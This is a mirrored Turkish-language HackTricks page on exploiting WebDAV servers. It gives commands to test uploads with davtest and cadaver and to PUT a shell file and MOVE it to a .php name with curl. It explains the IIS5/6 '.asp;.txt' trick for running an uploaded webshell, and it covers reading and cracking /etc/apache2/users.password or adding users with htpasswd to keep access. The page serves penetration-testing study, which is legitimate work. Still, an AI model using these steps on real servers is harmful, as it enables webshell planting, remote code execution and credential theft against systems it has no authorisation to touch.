mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
4.1 KiB
Markdown
83 lines
4.1 KiB
Markdown
# WebDav
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılmasını** içerir.
|
||
|
||
WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir.
|
||
|
||
Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betiklerinin çalıştırılmasını engelleyen kısıtlamalar varsa, şunları yapabilirsiniz:
|
||
|
||
- Kısıtlama yoksa **çalıştırılabilir uzantılara** sahip dosyaları doğrudan **yükleyin**.
|
||
- Yüklenen çalıştırılamayan dosyaları (örneğin .txt) çalıştırılabilir bir uzantıya **yeniden adlandırın**.
|
||
- Yüklenen çalıştırılamayan dosyaları **kopyalayın**, uzantılarını çalıştırılabilir bir uzantıya değiştirecek şekilde.
|
||
|
||
## DavTest
|
||
|
||
**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını** **kontrol eder**:
|
||
```bash
|
||
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
||
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
||
```
|
||
.png>)
|
||
|
||
Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelmez. Bu, web üzerinden **bu dosyalara erişebileceğiniz** anlamına gelir.
|
||
|
||
## Cadaver
|
||
|
||
Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel** olarak gerçekleştirmek için kullanabilirsiniz.
|
||
```
|
||
cadaver <IP>
|
||
```
|
||
## PUT isteği
|
||
```
|
||
curl -T 'shell.txt' 'http://$ip'
|
||
```
|
||
## MOVE isteği
|
||
```bash
|
||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||
```
|
||
## IIS5/6 WebDav Açığı
|
||
|
||
Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **bypass** edebilirsiniz ve dosya, sanki bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de kullanabilirsiniz ama **";"yı unutmayın**).
|
||
|
||
Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı).
|
||
|
||
.png>)
|
||
|
||
## Post kimlik bilgileri
|
||
|
||
Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\
|
||
_**/etc/apache2/sites-enabled/000-default**_
|
||
|
||
İçinde şöyle bir şey bulabilirsiniz:
|
||
```
|
||
ServerAdmin webmaster@localhost
|
||
Alias /webdav /var/www/webdav
|
||
<Directory /var/www/webdav>
|
||
DAV On
|
||
AuthType Digest
|
||
AuthName "webdav"
|
||
AuthUserFile /etc/apache2/users.password
|
||
Require valid-user
|
||
```
|
||
Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren dosyalar var:
|
||
```
|
||
/etc/apache2/users.password
|
||
```
|
||
Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir.
|
||
|
||
Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz:
|
||
```bash
|
||
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
||
```
|
||
Yeni kimlik bilgilerini kontrol etmek için şunları yapabilirsiniz:
|
||
```bash
|
||
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
||
```
|
||
## Referanslar
|
||
|
||
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|